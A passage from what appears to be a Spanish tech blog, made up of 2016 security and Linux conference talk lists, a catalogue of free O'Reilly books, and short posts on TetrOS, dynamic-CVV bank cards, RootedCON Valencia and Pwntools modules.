• ADD 2 Covert Cupid Under 11 Veil Approach for Covert WiFi
• ADD 1 I Amatuer Radio And So Can You!
• Abusing Bleeding Edge Web Standards for AppSec Glory
• A Monitor Darkly Reversing and Exploiting Ubiquitous
• 401 a frame work for managing security allerts
• 101 ways to brick your hardware
• Abusing Smart Cities the dark age of modern mobility

Vídeos de Black Hat USA 2016

Ya también están disponibles de los vídeos de Black Hat USA 2016, así como el material presentado:

• Why This Internet Worked How We Could Lose It and the Role Hackers Play
• A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land
• The Art of Defense - How Vulnerabilities Help Shape Security Features and Mitigations in Android
• Call Me: Gathering Threat Intelligence on Telephony Scams to Detect Fraud
• Applied Machine Learning for Data Exfil and Other Fun Topics
• Canspy: A Platform for Auditing Can Devices
• Dangerous Hare: Hanging Attribute References Hazards Due to Vendor Customization
• Over the Edge: Silently Owning Windows 10's Secure Browser
• How to Make People Click on a Dangerous Link Despite Their Security Awareness
• Certificate Bypass: Hiding and Executing Malware From a Digitally Signed Executable
• Pay No Attention to That Hacker Behind the Curtain: A Look Inside the Black Hat Network
• Drone Attacks on Industrial Wireless: A New Front in Cyber Security
• Hackproofing Oracle Ebusiness Suite
• Using Undocumented CPU Behavior to See Into Kernel Mode and Break Kaslr in the Process
• Gattacking Bluetooth Smart Devices - Introducing a New BLE Proxy Tool
• Measuring Adversary Costs to Exploit Commercial Software
• Removing Roadblocks to Diversity
• HEIST: HTTP Encrypted Information Can Be Stolen Through TCP-Windows
• Memory Forensics Using Virtual Machine Introspection for Cloud Computing
• Secure Penetration Testing Operations: Demonstrated Weaknesses in Learning Material and Tools
• Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS
• Towards a Holistic Approach in Building Intelligence to Fight Crimeware
• Subverting Apple Graphics: Practical Approaches to Remotely Gaining Root
• The Remote Malicious Butler Did It!
• Xenpwn: Breaking Paravirtualized Devices
• PWNIE
• An Open Collaborative Effort to Ameliorate Android N-Day Root Exploits
• Understanding HL7 2.X Standards, Pen Testing, and Defending HL7 2.X Messages
• 1000 Ways to Die in Mobile Oauth
• A Retrospective on the Use of Export Cryptography
• Windows 10 Segment Heap Internals
• Abusing Bleeding Edge Web Standards for Appsec Glory
• AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
• Analysis of the Attack Surface of Windows 10 Virtualization-Based Security
• Augmenting Static Analysis Using Pintool: Ablation
• An Insider's Guide to Cyber-Insurance and Security Guarantees
• Cunning With Cng: Soliciting Secrets From Schannel
• Beyond the Mcse: Active Directory for the Security Professional
• Does Dropping Usb Drives in Parking Lots and Other Places Really Work?
• Demystifying the Secure Enclave Processor
• I Came to Drop Bombs: Auditing the Compression Algorithm Weapon Cache
• Breaking Payment Points of Interaction (POI)
• Into the Core: In-Depth Exploration of Windows 10 IoT Core
• Hacking Next-Gen Atms: From Capture to Cashout
• Can You Trust Me Now? An Exploration Into the Mobile Threat Landscape
• Investigating DDOS - Architecture Actors and Attribution
• Intra-Process Memory Protection for Applications on ARM and X86: Leveraging the ELF ABI
• Capturing 0Day Exploits With Perfectly Placed Hardware Traps
• Next-Generation of Exploit Kit Detection By Building Simulated Obfuscators
• HTTP/2 & Quic - Teaching Good Protocols to Do Bad Things
• Pwning Your Java Messaging With Deserialization Vulnerabilities
• Language Properties of Phone Scammers: Cyberdefense At the Level of the Human
• Recover a RSA Private Key From a TLS Session With Perfect Forward Secrecy
• The Linux Kernel Hidden Inside Windows 10
• O-Checker: Detection of Malicious Documents Through Deviation From File Format Specifications
• The Tao of Hardware the Te of Implants
• Access Keys Will Kill You Before You Kill the Password
• Hell on Earth: From Browser to System Compromise
• Discovering and Exploiting Novel Security Vulnerabilities in Apple Zeroconf
• BadWPAD
• Breaking Kernel Address Space Layout Randomization (Kaslr) With Intel TSX
• Airbnbeware: Short Term Rentals Long Term Pwnage
• Account Jumping Post Infection Persistency & Lateral Movement in AWS
• Captain Hook: Pirating Avs to Bypass Exploit Mitigations
• Hardening AWS Environments and Automating Incident Response for AWS Compromises
• Crippling HTTPs With Unholy PAC
• Horse Pill: A New Type of Linux Rootkit
• Design Approaches for Security Automation
• Greatfet: Making Goodfet Great Again
• SGX Secure Enclaves in Practice: Security and Crypto Review
• Using EMET to Disable EMET
• Weaponizing Data Science for Social Engineering: Automated E2E Spear Phishing on Twitter
• Viral Video - Exploiting Ssrf in Video Converters
• AVLeak: Fingerprinting Antivirus Emulators for Advanced Malware Evasion
• Windows 10 Mitigation Improvements
• Brute-Forcing Lockdown Harddrive Pin Codes
• Building a Product Security Incident Response Team: Learnings From the Hivemind
• Bad for Enterprise: Attacking BYOD Enterprise Mobile Security Solutions
• Cyber War in Perspective: Analysis From the Crisis in Ukraine
• Breaking Fido: Are Exploits in There?
• Security Through Design - Making Security Better By Designing for People
• Iran's Soft-War for Internet Dominance
• Side-Channel Attacks on Everyday Applications
• The Risk From Power Lines: How to Sniff the G3 and Prime Data and Detect the Interfere Attack
• Unleash the Infection Monkey: A Modern Alternative to Pen-Tests
• OSS Security Maturity: Time to Put on Your Big Boy Pants!
• Watching Commodity Malware Get Sold to a Targeted Actor
• PanGu 9 Internals
• A Lightbulb Worm?
• BadTunnel: How Do I Get Big Brother Power?
• PLC-Blaster: A Worm Living Solely in the PLC
• A Risk-Based Approach for Defining User Training and Awarding Administrative Privileges
• Dungeons Dragons and Security
• The Year in Flash
• Dark Side of the DNS Force
• VoIP Wars: the Phreakers Awaken
• Keystone Engine: Next Generation Assembler Framework
• Pindemonium: A DBI-Based Generic Unpacker for Windows Executable
• Web Application Firewalls: Analysis of Detection Logic
• Defense At Hyperscale: Technologies and Policies for a Defensible Cyberspace

Vídeos de GrrCON 2016

Ya tenemos acceso a los vídeos de las charlas de GrrCON 2016, celebrada en Michigan los pasados 6 y 7 de octubre.

• 116 Security Guards LOL Brent White Tim Roberts
• 115 Attacking the Hospitality and Gaming Industries Tracking an Attacker Around the World in 7 Years
• 318 Welcome to The World of Yesterday Tomorrow Joel Cardella
• 317 On being an Eeyore in Infosec Stefan Edwards
• 217 Phish your employees for fun Kristoffer Marshall
• 216 Binary Ninja Jared Demott
• 316 Piercing the Air Gap Network Steganography for Everyone John Ventura
• 315 So Youve Inherited a Security Department Now What Amanda Berlin
• 215 Whats in your Top Ten Intelligent Application Security Prioritization Tony Miller
• 214 Tales from the Cryptanalyst Jeff Man
• 114 Breaking Android Apps for Fun and Profit Bill Sempf
• 113 Back to the Future Understanding our future but following the past Kevin Johnson
• 313 Alignment of business and IT Security Shane Harsch
• 213 Money Fame Power Build your success as a security professional Nathan Dragun
• 212 Machine Duping Pwning Deep Learning Systems Clarence Chio
• 211 Magnetic Stripes 101 Tyler Keeton
• 112 Guarding Lunch J Wolfgang Goerlich
• 111 Predator to Prey Tracking Criminals with Trojans and Data Mining for Fun and Profit Ken Westin
• 110 and bad mistakes Ive made a few Jayson Street
• 312 Contracting Privacy Security and 3rd Party Nathan Steed Kenneth Coleman
• 312 Contracting Privacy Security and 3rd Party Nathan Steed Kenneth Coleman
• 110 and bad mistakes Ive made a few Jayson Street (only first 30 min or so)
• 210 Encryption Mobility Cloud Oh My Bill Harmer
• 209 Using Virus Total Intelligence to track the latest Phishing Document campaigns Wyatt Roersma
• 311 Stop attacking your mothers car Charles Parker II
• 208 Cruise Ship Pentesting OR Hacking the High Seas Chad M Dewey
• 207 Quick and Easy Windows Timelines with Pyhon MySQL and Shell Scripting Dr Phil Polstra
• 310 How to Implement Crypto Poorly Sean Cassidy
• 309 Reality Checking Your AppSec Program Darren Meyer
• 308 Bad Guys Look Just Like You Justin Beard
• 205 Threat Detection Response with Hipara J Brett Cunningham
• 204 Reversing and Exploiting Embedded Devices Walking the software and hardware stack Elvis Collado
• 203 Surreal Paradigms Automotive Culture Crash D0xt0r Z3r0
• 108 Secure Dicks Michael Kemp
• 206 still broken after all these years aka utility security for smarties doug nibbelink
• 307 Getting to the Root of Advanced Threats Before Impact Josh Fazio
• 306 Fighting the Enemy Within Matt Crowe
• 305 How Do You Secure What You Dont Control Dimitri Vlachos
• 304 Pentester to customerI will 0wn your network Customer to pentesterNo I will make you cry David F
• 303 Make STEHM Great Again David HealWHans Schwartzberg
• 205 Threat Detection Response with Hipara J Brett Cunningham
• 204 Reversing and Exploiting Embedded Devices Walking the software and hardware stack Elvis Collado
• 203 Surreal Paradigms Automotive Culture Crash D0xt0r Z3r0
• 105 Abnormal Behavior Detection in Large Environments Dave Kennedy
• 302 Five Nights At Freddys What We Can Learn About Security From Possessed Bears Nick Jacob
• 300 Securing Trust Defending Against Next generation Attacks John Muirhead Gould
• 202 What do you mean Im pwnd I turned on automatic updates Scott Thomas Jeff Baruth
• 201 So You Want to Be a Pentester Absolute0x0
• 200 Internet of Things IoT radio frequency RF Analysis With Software Defined Radio Kevin Bong
• 103 Becoming a Cyborg The First Step Into Implantable Technology Michael Vieau
• 102 Weaponizing Nanotechnology and hacking humans defining the boundaries Chris Roberts
• 100 Act Three The Evolution of Privacy Finux

 

Presentaciones de LinuxCon Europa 2016

Del 4 al 6 de octubre se ha celebrado la LinuxCon edición Europa en Berlín, Alemania. Como puedes imaginar ésta, es una conferencia alrededor del kernel de Linux. Desde la web de la Fundación Linux puedes acceder a dichas presentaciones, que a continuación listo:

• Linux Kernel Security Update
• Ceph and Flash
• Efficient kernel backporting
• Making More Open: Creating open source infrastructure for your open source project
• Flowgrind: a TCP traffic generator for developers
• Efficient unit test and fuzz tools for kernel/libc porting
• Adding CPU frequency scaling for your ARM platform to Linux kernel
• entry_*.S: A carefree stroll through kernel entry code
• The Set of Programmers: How Math Restricts Us
• Why you hate security, and what you can do about it.
• The world of 100G Networking
• lguest: A journey of learning the Linux kernel internals
• Gender-Diversity Analysis of Technical Contributions to the Linux Kernel
• Chrome OS running Android in a container
• ELK: a log files management framework
• Bringing Android Explicit Fencing to Mainline: A new era for graphics
• Solving the Paradox: Less Downtime - More Security
• Application Profiling and Tuning – Or How I Stopped Worrying and Learned to Love the Tweak
• Using the Linux Tracing Infrastructure
• Deploying pNFS over Distributed File Storage
• Outreachy kernel internship report
• Strategic use of Free Software at Siemens
• Reimagining OpenStack
• Locking Down your systemd Services
• How Linux keeps mission critical application up 24x7
• Persistent Memory usage within Linux environment
• How Google Uses and Contributes to Open Source
• Linux DRM: new picture processing API
• openQA - Avoiding Disasters of Biblical Proportions
• Boosting Enterprise Transaction Processing using Hardware Acceleration
• Geo-Replication and Disaster recovery for cloud object storage with Ceph Rados Gateway
• Linux-Kernel Memory Ordering: Help Arrives At Last!
• Real life example of scaling load balancing using open source on commodity hardware
• Tutorial on Persistent Memory Programming with NVML
• Extending programming languages with persistent memory semantics
• PM Infrastructure in the Linux Kernel - Current Status and Future
• Open Enterprise & Open Community - Empowering Each Other
• If You Build It, They Won't Come
• NorNet -- Building an Inter-Continental Internet Testbed based on Open Source Software
• Clang: Much more than just a C/C++ compiler
• Tracking huge files with Git LFS
• Persistent Memory Extensions to libstdc++/libc++
• Graphite@Scale or How to store millon metrics per second
• Kernel Development - I still think we have a scaling problem
• Documenting Your Software Supply Chain with Linked Data

[Finished in 0.8s]

Extensa lista de recursos para convertirte en un …

Hace algún tiempo publicamos una entrada sobre una guía creada por Google para convertirte en un buen ingeniero de software.

John Washam tiene un objetivo, y es el de convertirse en un empleado de Google. Para ello a creado en Github un repositorio con una amplia lista de recursos, que según él, debes conocer para que Google te contrate. Como decía, la lista es bastante amplia y va mucho más allá de ser una lista de recursos para ser contratado por Google, con ésta tienes bastante información para convertirte en un gran ingeniero de software.

Cómo rescatar a la princesa en 8 lenguajes de …

Fuente: https://toggl.com/programming-princess

Mis favoritos son Lisp y PHP, los ha clavado! :D

Tetris instalable en el sector de arranque

Sí, has leído bien el título. TetrOS es una versión del juego de Tetris que cabe perfectamente en el sector de arranque de tu disco.

El sector de arranque tiene un tamaño reservado de 512 bytes, y TetrOS sólo ocupa 446 bytes, el tamaño exacto del gestor de arranque del registro de arranque principal (Master Boot Record o MBR). Con lo que podríamos instalar TetrOS en el sector de arranque de nuestro disco duro y no necesitaríamos ni siquiera tener un sistema operativa, de ahí el nombre TetrOS (Tetris Operating System).

Libros gratuitos de O'Reilly

No es por muchos conocido, pero la editorial O’Reilly tiene una gran selección de libros gratuitos disponibles para descarga sobre varias materias. A continuación os dejo una de lista agrupada por tema:

• Programming

  • Ten Steps to Linux Survival - PDF, ePub, Mobi
  • Open by Design - PDF, ePub, Mobi
  • Getting Started with InnerSource - PDF, ePub, Mobi
  • Microservices AntiPatterns and Pitfalls - PDF, ePub, Mobi
  • Microservices vs. Service-Oriented Architecture - PDF, ePub, Mobi
  • Software Architecture Patterns - PDF, ePub, Mobi
  • Migrating to Cloud-Native Application Architectures - PDF, ePub, Mobi
  • Reactive Microservices Architecture: Design Principles for Distributed Systems - PDF, ePub, Mobi
  • An Engineering Managers Guide to Design Patterns - PDF, ePub, Mobi
  • Azure for Developers - PDF, ePub, Mobi

• Business

  • The Secrets Behind Great One-on-One Meetings - PDF, ePub, Mobi
  • Designing Culture: Behavioral Strategy for the Workplace - PDF, ePub, Mobi
  • The New Manager Mindset - PDF, ePub, Mobi
  • Introduction to OKRs - PDF, ePub, Mobi
  • Serving Workers in the Gig Economy: Emerging Resources for the On-Demand Workforce - PDF, ePub, Mobi
  • Build to Lead: How Lego Bricks Can Make You a Better Leader - PDF, ePub, Mobi
  • Your Critical First 10 Days as a Leader - PDF, ePub, Mobi
  • Three Critical Shifts in Thinking for the Evolving Leader - PDF, ePub, Mobi
  • Startup Essentials - PDF, ePub, Mobi
  • What’s the Future of Work? - PDF, ePub, Mobi

• Data

  • 2016 Data Science Salary Survey - PDF, ePub, Mobi
  • Embedding Analytics in Modern Applications - PDF, ePub, Mobi
  • Data Science in the Cloud with Microsoft Azure Machine Learning and Python - PDF, ePub, Mobi
  • Self-Service Analytics - PDF, ePub, Mobi
  • Going Pro in Data Science - PDF, ePub, Mobi
  • Evaluating Machine Learning Models - PDF, ePub, Mobi
  • What is Data Science? - PDF, ePub, Mobi
  • What Are Conversational Bots? - PDF, ePub, Mobi
  • The New Artificial Intelligence Market - PDF, ePub, Mobi
  • AI and Medicine - PDF, ePub, Mobi
  • What is Artificial Intelligence? - PDF, ePub, Mobi
  • The Future of Machine Intelligence - PDF, ePub, Mobi
  • Data, Technology, and the Future of Play - PDF, ePub, Mobi
  • Data and Democracy: How Political Data Science Is Shaping the 2016 Elections - PDF, ePub, Mobi
  • Advancing Procurement Analytics - PDF, ePub, Mobi
  • The Big Data Market - PDF, ePub, Mobi
  • Analyzing Data in the Internet of Things - PDF, ePub, Mobi
  • The Business of Genomic Data - PDF, ePub, Mobi
  • Getting Analytics Right - PDF, ePub, Mobi
  • Data Science, Banking, and Fintech - PDF, ePub, Mobi
  • Architecting for Access: Simplifying Analytics on Big Data Infrastructure - PDF, ePub, Mobi
  • Hadoop and Spark Performance for the Enterprise - PDF, ePub, Mobi
  • In Search of Database Nirvana - PDF, ePub, Mobi
  • Making Sense of Stream Processing - PDF, ePub, Mobi
  • Architecting Data Lakes - PDF, ePub, Mobi
  • Hadoop: What You Need to Know - PDF, ePub, Mobi
  • Fast Data: Smart and at Scale - PDF, ePub, Mobi
  • Migrating Big Data Analytics into the Cloud - PDF, ePub, Mobi

• IoT

  • Ambient Computing - PDF, ePub, Mobi
  • Governing the IoT - PDF, ePub, Mobi
  • Opportunities and Challenges in the IoT - PDF, ePub, Mobi
  • Creating Functional Teams for the IoT - PDF, ePub, Mobi
  • Building a Hardware Business - PDF, ePub, Mobi
  • When Hardware Meets Software - PDF, ePub, Mobi
  • What Is the Internet of Things? - PDF, ePub, Mobi
  • Software Above the Level of a Single Device: The Implications - PDF, ePub, Mobi
  • Software & Hardware Collide - PDF, ePub, Mobi
  • Hardware by the Numbers: Startups - PDF, ePub, Mobi
  • Innovation - PDF, ePub, Mobi
  • Pitching Your IoT Project: How to Get Executive Buy-In - PDF, ePub, Mobi
  • User Experience Design for the Internet of Things - PDF, ePub, Mobi
  • The Internet as Material - PDF, ePub, Mobi
  • Designing for the Internet of Things - PDF, ePub, Mobi
  • Ambient Computing - PDF, ePub, Mobi
  • Smart Energy - PDF, ePub, Mobi
  • Smart Cities, Smarter Citizens - PDF, ePub, Mobi
  • Evaluating and Choosing an IoT Platform - PDF, ePub, Mobi
  • Evolving Infrastructures of the Industrial IoT - PDF, ePub, Mobi
  • Life: Sustainable, Programmable, Bottom-Up Manufacturing - PDF, ePub, Mobi
  • 3D Printing Primer - PDF, ePub, Mobi
  • Predictive Maintenance - PDF, ePub, Mobi
  • Industrial Internet - PDF, ePub, Mobi

• Security

  • Cracking Security Misconceptions: Untangling Common Myths About Modern Information Security - PDF, ePub, Mobi
  • Patrolling the Dark Net: What You Don't Know Will Hurt You - PDF, ePub, Mobi
  • DevOpsSec: Securing Software through Continuous Delivery - PDF, ePub, Mobi
  • Not All Data Is Created Equal: Balancing Risk and Reward in a Data-Driven Economy - PDF, ePub, Mobi
  • Who Are the Bad Guys and What Do They Want? - PDF, ePub, Mobi
  • Docker Security - PDF, ePub, Mobi
  • The Security Data Lake - PDF, ePub, Mobi

• Web

  • Python Web Frameworks - PDF, ePub, Mobi
  • Modern SVG: A Curated Collection of Chapters from the O’Reilly SVG Library - PDF, ePub, Mobi
  • The Little Book of HTML/CSS Coding Guidelines - PDF, ePub, Mobi
  • Upgrading to PHP 7 - PDF, ePub, Mobi
  • Static Site Generators - PDF, ePub, Mobi
  • Transforms in CSS - PDF, ePub, Mobi
  • Getting Started with the Web - PDF, ePub, Mobi
  • Modern JavaScript - PDF, ePub, Mobi
  • Designing Great Web APIs - PDF, ePub, Mobi
  • The Little Book of HTML/CSS Frameworks - PDF, ePub, Mobi
  • Next.JS: A Manager's Guide - PDF, ePub, Mobi

• WebOps

  • Effective Performance Engineering - PDF, ePub, Mobi
  • Optimizing Cloud Migration - PDF, ePub, Mobi
  • Web Performance Warrior - PDF, ePub, Mobi
  • Web Page Size, Speed, and Performance - PDF, ePub, Mobi
  • HTTP/2: A New Excerpt from High Performance Browser Networking - PDF, ePub, Mobi
  • Compliance at Speed - PDF, ePub, Mobi
  • Mobile App Analytics - PDF, ePub, Mobi
  • Monitoring Distributed Systems: Case Studies from Google's SRE Teams - PDF, ePub, Mobi
  • Release Engineering: How Google Builds and Delivers Software - PDF, ePub, Mobi
  • Beyond the Twelve-Factor App - PDF, ePub, Mobi
  • Docker in the Cloud - PDF, ePub, Mobi
  • Network Automation with Ansible - PDF, ePub, Mobi
  • Are Your Networks Ready for the IoT? - PDF, ePub, Mobi
  • Docker Networking and Service Discovery - PDF, ePub, Mobi
  • Immutable Infrastructure - PDF, ePub, Mobi
  • Continuous Delivery with Windows and .NET - PDF, ePub, Mobi
  • Docker Security - PDF, ePub, Mobi
  • Kubernetes: Scheduling the Future at Cloud Scale - PDF, ePub, Mobi
  • Modern Web Operations - PDF, ePub, Mobi
  • Field Guide to the Distributed Development Stack - PDF, ePub, Mobi
  • 5 Unsung Tools of DevOps - PDF, ePub, Mobi
  • Lightweight Systems for Realtime Monitoring - PDF, ePub, Mobi
  • Anomaly Detection for Monitoring: A Statistical Approach to Time Series Anomaly Detection - PDF, ePub, Mobi
  • Are Your Networks Ready for the IoT? - PDF, ePub, Mobi
  • Network Automation with Ansible - PDF, ePub, Mobi
  • DevOpsSec: Securing Software through Continuous Delivery - PDF, ePub, Mobi
  • DevOps for Finance - PDF, ePub, Mobi
  • Building an Optimized Business - PDF, ePub, Mobi
  • Everything Is Distributed - PDF, ePub, Mobi
  • DevOps in Practice - PDF, ePub, Mobi
  • The Human Side of Postmortems - PDF, ePub, Mobi
  • Learning from First Responders: When Your Systems Have to Work - PDF, ePub, Mobi
  • DevOps Hiring - PDF, ePub, Mobi
  • Antifragile Systems and Teams - PDF, ePub, Mobi

Bancos franceses empiezan a hacer uso de la …

Société Générale y Groupe BPCE, dos bancos franceses empiezan a emitir tarjetas de crédito con tecnología “Motion Code” (PDF).

Esta tecnología es una vuelta de tuerca a la lucha contra el fraude online. Básicamente lo que hace es generar cada hora un Código de Seguridad nuevo, también llamado Verificación de Datos de Tarjeta, Número de Verificación de Tarjeta, Valor de Verificación de Tarjeta (CVV). Éste código es uno de los datos requeridos para transacciones online, por lo que si alguien te roba los datos de tu tarjeta, tendría un plazo de 1 hora como máximo para efectuar algún tipo de transacción online, lo que sería muy como común.

Vídeos de Derbycon 2016

Ya tenemos disponibles los vídeos (faltan algunos) de una de las conferencias que más ha crecido en los últimos años: Derbycon. La edición de este año 2016 acaba de terminar y nos ha dejado un gran número de charlas interesantes:

• Key Note - Jeffrey Snover, Lee Holmes
• Carlos Perez - Thinking Purple
• Ed Skoudis - Internet of Things, Voice Control, AI, and Office Automation: BUILDING YOUR VERY OWN J.A.R.V.I.S.
• David Maloney, James Lee, Brent Cook, Tod Beardsley, Lance Sanchez - Metasploit Townhall
• Parker Schmitt - Data Obfuscation: How to hide data and payloads to make them "not exist"
• Jason Smith - Go with the Flow
• Devon Greene - Abusing RTF: Evasion, Exploitation and Counter Measures
• Mubix "Rob" Fuller - Writing malware while the blue team is staring at you
• Christopher Hadnagy - Mind Reading for Fun and Profit using DISC
• JDuck - Stagefright: An Android Exploitation Case Study
• Arian J Evans & James Pleger - Top 10 2015-2016 compromise patterns observed & how to use non-traditional Internet datasets to detect & avoid them
• Aaron Lafferty - Information Security Proposed Solutions Series - 1. Talent
• Alfredo Ramirez - DNSSUX
• Tyler Halfpop , Jacob Soo - Macs Get Sick Too
• Joe Desimone - Hunting for Exploit Kits
• Stephen Breen, Chris Mallz - Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM
• Nick Cano - +1,000,000 -0: Cloning a Game Using Game Hacking and Terabytes of Data
• Wartortell and Aaron Bayles - Nose Breathing 101: A Guide to Infosec Interviewing
• William McLaughlin - Android Patchwork
• Will Schroeder, Matt Nelson - A Year in the Empire
• Kevin Johnson and Jason Gillam - Next Gen Web Pen Testing: Handling modern applications in a penetration test
• Ken Johnson, Chris Gates - DevOops Redux
• Ryan Voloch and Peter Giannoutsos - To Catch a Penetration Tester: Top SIEM Use Cases
• Spencer McIntyre - Is that a penguin in my Windows?
• Brent White && Tim Roberts - Real World Attacks VS Check-box Security
• Ben0xA - PowerShell Secrets and Tactics
• Michael Allen - Beyond The ?Cript: Practical iOS Reverse Engineering
• Jayson E. Street - .... and bad mistakes I've made a few.....
• Matthew Dunwoody, Nick Carr - No Easy Breach: Challenges and Lessons from an Epic Investigation
• Natalie Vanatta - ARRR Maties! A map to the legal hack-back
• Michael Wharton, Project MVP - Hacking and Protecting SharePoint
• Marcello Salvati - CrackMapExec - Owning Active Directory by using Active Directory
• Rockie Brockway & Adam Hogan - Adaptation of the Security Sub-Culture
• Zach Grace, Brian Genz - Better Network Defense Through Threat Injection and Hunting
• nyxgeek - Hacking Lync (or, 'The Weakest Lync')
• Kevin Gennuso - Responder for Purple Teams
• Ken Toler - Metaprogramming in Ruby and doing it wrong.
• Paul Coggin - Exploiting First Hop Protocols to Own the Network
• Nick Landers - Outlook and Exchange for the Bad Guys
• Valerie Thomas and Harry Regan - It's Never So Bad That It Can't Get Worse
• Nathan Clark - AWSh*t. Pay-as-you-go Mobile Penetration Testing
• Nancy Snoke - Evolving your Office's Security Culture
• Michael Schearer - Confronting Obesity in Infosec
• Mark Mager - Defeating The Latest Advances in Script Obfuscation
• Michael Gough - From Commodity to Advanced (APT) malware, are automated malware analysis sandboxes as useful as your own basic manual analysis?
• Tim MalcomVetter - Breaking Credit Card Tokenization Without Cryptanalysis
• Bill V – Privileged Access Workstations (PAWs)
• Scott Lyons and Joshua Marpet - Business Developement: The best non-four letter dirty word in infosec.
• Scot Berner, Jason Lang - Tool Drop 2.0 - Free As In Pizza
• Joseph Tegg - We're a Shooting Gallery, Now What?
• Doug Burns - Malicious Office Doc Analysis for EVERYONE!
• Sean Metcalf & Will Schroeder - Attacking EvilCorp: Anatomy of a Corporate Hack
• Matt Graeber, Jared Atkinson - Living Off the Land 2: A Minimalist's Guide to Windows Defense
• Kyle Wilhoit - Point of Sale Voyuer- Threat Actor Attribution Through POS Honeypots
• Jeremy Mio, David Lauer, Mike Woolard - The Art of War, Attacking the Organization and Raising the Defense
• Justin Herman & Anna-Jeannine Herman - The 1337 Gods of Geek Mythology
• Josh Huff - Open Source Intelligence - What I learned by being an OSINT creeper
• Jay Beale - Phishing without Failure and Frustration
• Larry Pesce - I don't give one IoTA: Introducing the Internet of Things Attack Methodology.
• Anti-Forensics AF int0x80 (of Dual Core)
• Deral Heiland, Matthew Kienow - Managed to Mangled: Exploitation of Enterprise Network Management Systems
• Joey Maresca - Finding Your Balance
• EvilMog - Hashcat State of the Union
• egypt - New Shiny in Metasploit Framework
• Hacking with Ham Radios: What I have learned in 25 years of being a ham.
• John Strand - Penetration Testing Trends
• Ellen Hartstack and Matthew Sullivan - Garbage in, garbage out
• Casey Smith - Establishing A Foothold With JavaScript
• Jesika McEvoy - Overcoming Imposter Syndrome (even if you're totally faking it)
• FuzzyNop - Embrace the Bogeyman: Tactical Fear Mongering for Those Who Penetrate
• Eric Conrad - Introducing DeepBlueCLI, a PowerShell module for hunt teaming via Windows event logs
• Dr. Jared DeMott & Mr. Josh Stroschein - Using Binary Ninja for Modern Malware Analysis
• Scott M - Fuzzing basics...how to break software
• Craig Bowser - Security v. Ops: Bridging the Gap
• Chris "Lopi" Spehn - From Gaming to Hacking The Planet
• Jason Blanchard - How to Social Engineer your way into your dream job!
• Lee Holmes - Attackers Hunt Sysadmins - It's time to fight back
• Adam Compton, Austin Lane - Scripting Myself Out of a Job - Automating the Penetration Test with APT2
• Branden Miller - Hacking for Homeschoolers: STEM projects for under $20
• Scott Sutherland - SQL Server Hacking on Scale using PowerShell
• Brian Marks, Andrea Sancho Silgado - Dive into DSL: Digital Response Analysis with Elasticsearch
• David Schwartzberg and Chris Sistrunk - Make STEHM Great Again
• Charles L. Yost - Python 3: It's Time
• Philip Martin - DNS in Enterprise IR: Collection, Analysis and Response
• Drew Branch - Need More Sleep? REST Could Help
• Bill Gardner - Making Our Profession More Professional
• Abe Miller - How are tickets paid for?
• Bill Sempf - Breaking Android Apps for Fun and Profit
• Amanda Berlin & Lee Brotherston - So You've Inherited a Security Department, Now What?
• Brandon Young - Reverse engineering all the malware... and why you should stop.
• Nathan Magniez - Body Hacking 101 (or a Healthy Lifestyle for Security Pros)
• Jimmy Byrd - Security Automation in your Continuous Integration Pipeline
• Chad M. Dewey - Cruise Ship Security OR Hacking the High Seas
• Karl Fosaaen - Attacking ADFS Endpoints with PowerShell
• Stephen Hilt - The 90's called, they want their technology back
• Lee Neely - Web Security for Dummies
• Kirk Hayes - I Love myBFF (Brute Force Framework)
• Cameron Craig, Keith Conway - Nobody gets fired by choosing IBM... but maybe they should.
• Mirovengi - Shackles, Shims, and Shivs - Understanding Bypass Techniques
• Jared Haight - Introducing PowerShell into your Arsenal with PS>Attack
• James Jardine - Recharging Penetration Testing to Maximize Value
• hypervista - Poetically Opaque (or other John Updike Quotes)
• David Boyd - Hack Yourself: Building A Pentesting Lab
• Ronnie Flathers - Abusing Linux Trust Relationships: Authentication Back Alleys and Forgotten Features
• Salvador Mendoza - Samsung Pay: Tokenized Numbers, Flaws and Issues
• Andrew Krug & Alex McCormack - Hardening AWS Environments and Automating Incident Response
• Andrew Plunkett - Yara Rule QA: Can't I Write Code to do This for Me?
• Anthony Kasza - Java RATS: Not even your Macs are safe
• Beau Bullock, Derek Banks, Joff Thyer - The Advanced Persistent Pentester (All Your Networks Are Belong 2 Us)
• Russell Butturini - Fire Away! Sinking the Next Gen Firewall
• Daniel Bohannon - Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To) D""e`Tec`T 'Th'+'em'
• Dav Wilson - Mobile Device Forensics
• Casey Cammilleri & Hans Lakhan - Hashview, a new tool aimed to improve your password cracking endeavors.
• Brian Fehrman - Hardware Hacking the Easyware Way
• Matthew Lichtenberger - PacketKO - Data Exfiltration Via Port Knocking
• Jamie Murdock - Ransomware: An overview
• Ben Stillman - MariaDB: Lock it down like a chastity belt
• Aaron Guzman - IoT Defenses - Software, Hardware, Wireless and Cloud
• Adam Cammack & Brent Cook - Static PIE: How and Why
• Braden Hollembaek, Adam Pond - Finding a Weak Link: Attacking Windows OEM Kernel Drivers
• Dan Bougere - The Beginner's Guide to ICS: How to Never Sleep Soundly Again

RootedCON Valencia 2016

El congreso RootedValencia se celebrará los días 9 y 10 de Septiembre. El viernes día 9 tendrá lugar un training llamado "RB16-1 Hacking ético" (pulsa aquí para más información) y durante el sábado día 10 se celebrarán conferencias desde las 10am hasta las 8pm. Nosotros estaremos por allí el sábado para saludar a viejos y nuevos amigos, disfrutar de las conferencias y además tomar algunas cervezas ;)

Lugar: ADEIT - Fundación Universidad - Plaza Virgen de la Paz, 3, 46001 Valencia (España)

Pwntools 3.0

Los que seáis asiduos a participar en CTFs ya probablemente conozcáis el proyecto Pwntools.

Éste es un conjunto de utilidades, librerías o framework pensado para hacerte la vida más fácil a la hora de escribir tus exploits o soluciones en los dichos CTFs. Está escrito en Python y provee de una gran cantidad de módulos específicos para cada tarea:

• pwnlib.adb — Android Debug Bridge
• pwnlib.asm — Assembler functions
• pwnlib.atexception — Callbacks on unhandled exception
• pwnlib.atexit — Replacement for atexit
• pwnlib.constants — Easy access to header file constants
• pwnlib.context — Setting runtime variables
• pwnlib.dynelf — Resolving remote functions using leaks
• pwnlib.encoders — Encoding Shellcode
• pwnlib.elf — Working with ELF binaries
• pwnlib.exception — Pwnlib exceptions
• pwnlib.fmtstr — Format string bug exploitation tools
• pwnlib.gdb — Working with GDB
